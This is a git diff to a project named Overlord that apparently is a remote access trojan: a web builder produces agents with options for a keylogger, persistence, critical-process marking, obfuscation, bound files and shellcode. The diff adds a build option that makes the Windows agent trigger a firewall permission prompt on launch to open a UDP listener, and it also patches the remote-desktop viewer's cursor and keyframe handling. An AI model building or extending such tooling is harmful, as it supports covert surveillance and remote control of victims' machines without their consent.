diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 068154a..8bd2718 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -8,6 +8,7 @@ import ( "overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/mutex" "overlord-client/cmd/agent/persistence" + "overlord-client/cmd/agent/webrtcpub" ) func main() { @@ -21,6 +22,7 @@ func main() { } runBoundFiles() + webrtcpub.PromptFirewallPermissionOnStartup() if cfg.EnablePersistence { if isRunningInMemory() { diff --git a/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_disabled.go b/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_disabled.go new file mode 100644 index 0000000..1098c43 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_disabled.go @@ -0,0 +1,5 @@ +//go:build !windows || !overlord_webrtc || !webrtc_firewall_startup_prompt + +package webrtcpub + +func PromptFirewallPermissionOnStartup() {} diff --git a/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_windows.go b/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_windows.go new file mode 100644 index 0000000..d9951a6 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/firewall_startup_prompt_windows.go @@ -0,0 +1,34 @@ +//go:build windows && overlord_webrtc && webrtc_firewall_startup_prompt + +package webrtcpub + +import ( + "log" + "net" + "time" + + "golang.org/x/sys/windows" +) + +func PromptFirewallPermissionOnStartup() { + go func() { + ensureFirewallRule() + if windows.GetCurrentProcessToken().IsElevated() { + return + } + probeFirewallPermissionPrompt() + }() +} + +func probeFirewallPermissionPrompt() { + pc, err := net.ListenPacket("udp4", "0.0.0.0:0") + if err != nil { + log.Printf("webrtcpub: firewall permission probe failed: %v", err) + return + } + defer pc.Close() + + _ = pc.SetReadDeadline(time.Now().Add(5 * time.Second)) + var buf [1]byte + _, _, _ = pc.ReadFrom(buf[:]) +} diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 24a7e47..c617289 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -304,6 +304,7 @@ function setBuildField(field, value) { stripDebug: 'input[name="strip-debug"]', noPrinting: 'input[name="no-printing"]', enableWebrtc: 'input[name="enable-webrtc"]', + promptWebrtcFirewallOnStart: 'input[name="prompt-webrtc-firewall-on-start"]', enableWinRE: 'input[name="enable-winre"]', fetchPublicIP: 'input[name="fetch-public-ip"]', enablePersistence: 'input[name="enable-persistence"]', @@ -574,6 +575,7 @@ function collectFormSettings() { noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, + promptWebrtcFirewallOnStart: document.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked ?? false, enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, @@ -649,6 +651,7 @@ function applyFormSettings(settings) { if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); + if (settings.promptWebrtcFirewallOnStart !== undefined) setCb('input[name="prompt-webrtc-firewall-on-start"]', settings.promptWebrtcFirewallOnStart); if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); @@ -720,6 +723,7 @@ function applyFormSettings(settings) { updateServerUrlPlaceholder(); } applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); + updateWebrtcFirewallPromptOption(); } function saveFormSettings() { @@ -956,6 +960,14 @@ function applyLinuxShellcodeMode(enabled) { saveFormSettings(); } +function updateWebrtcFirewallPromptOption() { + const webrtcEnabled = document.querySelector('input[name="enable-webrtc"]')?.checked ?? false; + const promptInput = document.querySelector('input[name="prompt-webrtc-firewall-on-start"]'); + if (!promptInput) return; + promptInput.disabled = !webrtcEnabled; + if (!webrtcEnabled) promptInput.checked = false; +} + restoreFormSettings(); initAccordions(); initBuilderTabs(); @@ -1165,6 +1177,7 @@ updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); form?.addEventListener("input", saveFormSettings); +document.querySelector('input[name="enable-webrtc"]')?.addEventListener("change", updateWebrtcFirewallPromptOption); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const garbleSettingsContainer = document.getElementById("garble-settings-container"); @@ -1896,6 +1909,7 @@ form?.addEventListener("submit", async (e) => { noPrinting, disableKeylogger: !enableKeylogger, enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false, + promptWebrtcFirewallOnStart: form.querySelector('input[name="enable-webrtc"]')?.checked === true && (form.querySelector('input[name="prompt-webrtc-firewall-on-start"]')?.checked || false), enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false, fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false, outputName: outputNameVal || undefined, @@ -2002,6 +2016,9 @@ async function startBuild(config) { buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; + buildStatus.querySelector("div").className = + "flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"; + buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin"; buildResults.classList.add("hidden"); buildFilesDiv.innerHTML = ""; diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index d07d3e7..ee4ac8d 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -174,6 +174,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const H264_MAX_RECOVERY_ATTEMPTS = 1; const H264_DECODE_WARN_THROTTLE_MS = 2000; const inputBackpressureBytes = 256 * 1024; + const VIEWER_FRAME_GAP_KEYFRAME_MS = 500; + const VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS = 1000; + let lastViewerFrameGapKeyframeAt = 0; const diagnostics = { agent: null, network: null, @@ -1964,6 +1967,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s pushBitrate(); desiredStreaming = true; lastFrameAt = 0; + lastViewerFrameGapKeyframeAt = 0; firstFrameLogged = false; resetH264SessionState(); setStreamState("starting", "Starting stream"); @@ -2134,13 +2138,19 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } + function cursorImageBytes(image) { + if (image instanceof Uint8Array) return image; + if (image instanceof ArrayBuffer) return new Uint8Array(image); + if (ArrayBuffer.isView(image)) { + return new Uint8Array(image.buffer, image.byteOffset, image.byteLength); + } + return null; + } + function renderRemoteCursor(message = lastRemoteCursor) { lastRemoteCursor = message; - const image = message?.image; - if (remoteCursorImage && image instanceof Uint8Array && image.byteLength > 0) { - if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl); - remoteCursorImageUrl = URL.createObjectURL(new Blob([image], { type: "image/png" })); - remoteCursorImage.src = remoteCursorImageUrl; + const imageBytes = cursorImageBytes(message?.image); + if (message && Number(message.cursorWidth) > 0 && Number(message.cursorHeight) > 0) { remoteCursorShape = { width: Math.max(1, Number(message.cursorWidth) || 1), height: Math.max(1, Number(message.cursorHeight) || 1), @@ -2148,6 +2158,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s hotspotY: Math.max(0, Number(message.hotspotY) || 0), }; } + if (remoteCursorImage && imageBytes && imageBytes.byteLength > 0) { + if (remoteCursorImageUrl) URL.revokeObjectURL(remoteCursorImageUrl); + remoteCursorImageUrl = URL.createObjectURL(new Blob([imageBytes], { type: "image/png" })); + remoteCursorImage.src = remoteCursorImageUrl; + } const hideLocalCursor = !!hideLocalCursorCtrl?.checked; const showRemoteCursor = !!cursorCtrl?.checked && !!message?.visible && !!remoteCursorShape && (!mouseCtrl?.checked || hideLocalCursor); @@ -2158,7 +2173,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (remoteCursor) remoteCursor.hidden = true; return; } - const surface = webrtcActive ? webrtcVideo : canvas; + const surface = (webrtcActive || (webrtcVideo && getComputedStyle(webrtcVideo).display !== "none")) ? webrtcVideo : canvas; const sourceWidth = Number(message.width) || (surface === webrtcVideo ? webrtcVideo.videoWidth : canvas.width); const sourceHeight = Number(message.height) || (surface === webrtcVideo ? webrtcVideo.videoHeight : canvas.height); if (!sourceWidth || !sourceHeight) { @@ -2304,8 +2319,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function markFrameReceived() { - lastFrameAt = performance.now(); + const now = performance.now(); + const frameGapMs = lastFrameAt ? now - lastFrameAt : 0; + lastFrameAt = now; clearOfflineTimer(); + if ( + desiredStreaming && + frameGapMs >= VIEWER_FRAME_GAP_KEYFRAME_MS && + (!lastViewerFrameGapKeyframeAt || now - lastViewerFrameGapKeyframeAt >= VIEWER_FRAME_GAP_KEYFRAME_THROTTLE_MS) + ) { + lastViewerFrameGapKeyframeAt = now; + sendCmd("desktop_request_keyframe", { reason: "viewer_frame_gap" }); + } if (!firstFrameLogged) { firstFrameLogged = true; rdDebug("first frame received", { diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 712909e..f7f2dc0 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -861,6 +861,16 @@ + + + + + Ask for WebRTC firewall access on launch + + Windows-only. Starts a one-time firewall permission probe as soon as the agent launches instead of waiting for the first WebRTC stream. + + + diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts index f424053..47b05e7 100644 --- a/Overlord-Server/src/build/types.ts +++ b/Overlord-Server/src/build/types.ts @@ -60,6 +60,7 @@ export type BuildConfig = { criticalProcess?: boolean; disableKeylogger?: boolean; enableWebrtc?: boolean; + promptWebrtcFirewallOnStart?: boolean; enableWinRE?: boolean; fetchPublicIP?: boolean; uploadToFileShare?: boolean; diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index a8767e0..c44305e 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -97,6 +97,7 @@ type BuildProcessConfig = { noPrinting?: boolean; disableKeylogger?: boolean; enableWebrtc?: boolean; + promptWebrtcFirewallOnStart?: boolean; enableWinRE?: boolean; builtByUserId?: number; initialClientTag?: string; @@ -1376,6 +1377,7 @@ func runBoundFiles() { if (config.noPrinting) baseTags.push("noprint"); if (config.disableKeylogger) baseTags.push("nokeylogger"); if (config.enableWebrtc) baseTags.push("overlord_webrtc"); + if (config.enableWebrtc && config.promptWebrtcFirewallOnStart) baseTags.push("webrtc_firewall_startup_prompt"); if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre"); if (hasBoundFiles) baseTags.push("hasbinder"); if (isIosTarget) baseTags.push("ios_target"); diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 7018b62..37a99e0 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -217,6 +217,7 @@ export async function handleBuildRoutes( criticalProcess, disableKeylogger, enableWebrtc, + promptWebrtcFirewallOnStart, enableWinRE, outputExtension, sleepSeconds, @@ -550,6 +551,7 @@ export async function handleBuildRoutes( criticalProcess: safeCriticalProcess, disableKeylogger: !!disableKeylogger, enableWebrtc: !!enableWebrtc, + promptWebrtcFirewallOnStart: !!enableWebrtc && !!promptWebrtcFirewallOnStart, enableWinRE: !!enableWinRE, outputExtension: safeOutputExtension, sleepSeconds: safeSleepSeconds,